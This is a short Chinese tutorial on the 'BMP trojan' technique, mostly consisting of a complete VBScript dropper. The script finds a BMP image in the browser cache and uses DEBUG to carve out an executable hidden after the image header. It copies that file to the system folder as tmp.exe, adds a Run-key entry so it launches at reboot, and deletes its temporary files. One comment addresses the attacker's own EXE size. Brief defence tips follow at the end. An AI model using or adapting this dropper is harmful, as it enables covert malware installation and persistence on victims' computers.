该脚本主要会在本地机器的SYSTEM目录下生成一个“S.VBS”文件,该脚本文件会在下次开机时自动运行。主要用于从临时目录中找出mybmp[1].bmp文件。

“S.VBS”
文件主要内容如下:


Option Explicit

 

Dim FSO,WSH,CACHE,str

 

Set FSO = CreateObject("Scripting.FileSystemObject")

 

Set WSH = CreateObject("WScript.Shell")

 

CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion

 

\Explorer\ShellFolders\Cache")

 

wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs")

 

wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe"

 

SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"

 

WScript.Quit()

 

Function SearchBMPFile(Folder,fname)

 

Dim SubFolder,File,Lt,tmp,winsys

 

'从临时文件夹中查找目标BMP图片

 

str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname

 

if FSO.FileExists(str) then

 

tmp=fso.GetSpecialFolder(2) & "\"

 

winsys=fso.GetSpecialFolder(1) & "\"

 

set File=FSO.GetFile(str)

 

File.Copy(tmp & "tmp.dat")

 

File.Delete

 

'生成一个DEBUG脚本

 

set Lt=FSO.CreateTextFile(tmp & "tmp.in")

 

Lt.WriteLine("rbx")

 

Lt.WriteLine("0")

 

Lt.WriteLine("rcx")

'下面一行的1000是十六进制,换回十进制是4096(该数字是你的EXE文件的大小)

 

Lt.WriteLine("1000")

 

Lt.WriteLine("w136")

 

Lt.WriteLine("q")

 

Lt.Close

 

WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6

 

On Error Resume Next

 

FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")

 

FSO.GetFile(tmp & "tmp.dat").Delete

 

FSO.GetFile(tmp & "tmp.in").Delete

 

FSO.GetFile(tmp & "tmp.out").Delete

 

end if

 

If Folder.SubFolders.Count <> 0 Then

 

For Each SubFolder In Folder.SubFolders

 

SearchBMPFile SubFolder,fname

 

Next

 

End If

 

End Function这个脚本会找出在临时文件夹中的bmp文件,并生成一个DEBUG的脚本,运行时会自动从BMP文件54字节处读去你指定大小的数据,并把它保存到tmp.dat.后面的脚本再把它复制到SYSTEM的目录下.这个被还原的EXE文件会在下次重起的时候运行.这就是BMP***的基本实现过程.

防范方法:

最简单,删除或改名wscrpit.exe文件和DEBUG 文件;

安装有效的杀毒软件,因为这些脚本有好多杀毒软件已经可以查出来了.